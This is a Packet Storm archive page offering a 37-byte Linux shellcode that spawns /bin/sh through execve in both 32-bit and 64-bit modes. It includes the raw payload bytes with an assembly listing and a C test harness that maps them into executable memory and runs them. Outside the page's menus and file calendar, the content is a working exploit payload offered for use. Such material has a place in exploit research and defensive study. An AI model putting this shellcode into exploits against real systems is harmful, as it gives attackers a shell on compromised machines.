what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Multi/Dual Mode execve("/bin/sh", NULL, 0) Shellcode

Linux Multi/Dual Mode execve("/bin/sh", NULL, 0) Shellcode
Posted Jan 31, 2017
Authored by odzhancode

37 bytes small Linux multi/dual mode execve("/bin/sh", NULL, 0) shellcode.

tags | shellcode
systems | linux
SHA-256 | 5d66724b482980f093cf39cb73798405fa5dcce58709c0bd9ae27f7dac0eb088

Linux Multi/Dual Mode execve("/bin/sh", NULL, 0) Shellcode

Change Mirror Download
/**
Copyright A(c) 2017 Odzhan. All Rights Reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:

1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.

3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE. */

#include <stdio.h>
#include <string.h>
#include <stdint.h>

#include <sys/mman.h>

#define SHX_SIZE 37

char SHX[] = {
/* 0000 */ "\x31\xf6" /* xor esi, esi */
/* 0002 */ "\xf7\xe6" /* mul esi */
/* 0004 */ "\x52" /* push rdx */
/* 0005 */ "\x52" /* push rdx */
/* 0006 */ "\x52" /* push rdx */
/* 0007 */ "\x54" /* push rsp */
/* 0008 */ "\x5b" /* pop rbx */
/* 0009 */ "\x53" /* push rbx */
/* 000A */ "\x5f" /* pop rdi */
/* 000B */ "\xc7\x07\x2f\x62\x69\x6e" /* mov dword [rdi], 0x6e69622f */
/* 0011 */ "\xc7\x47\x04\x2f\x2f\x73\x68" /* mov dword [rdi+0x4], 0x68732f2f */
/* 0018 */ "\x40\x75\x04" /* jnz 0x1f */
/* 001B */ "\xb0\x3b" /* mov al, 0x3b */
/* 001D */ "\x0f\x05" /* syscall */
/* 001F */ "\x31\xc9" /* xor ecx, ecx */
/* 0021 */ "\xb0\x0b" /* mov al, 0xb */
/* 0023 */ "\xcd\x80" /* int 0x80 */
};

void xcode(char *s, int len)
{
void *bin;

bin=mmap (0, len,
PROT_EXEC | PROT_WRITE | PROT_READ,
MAP_ANON | MAP_PRIVATE, -1, 0);

memcpy (bin, s, len);

// execute
((void(*)())bin)();

munmap (bin, len);
}

int main(void)
{
xcode (SHX, SHX_SIZE);
return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close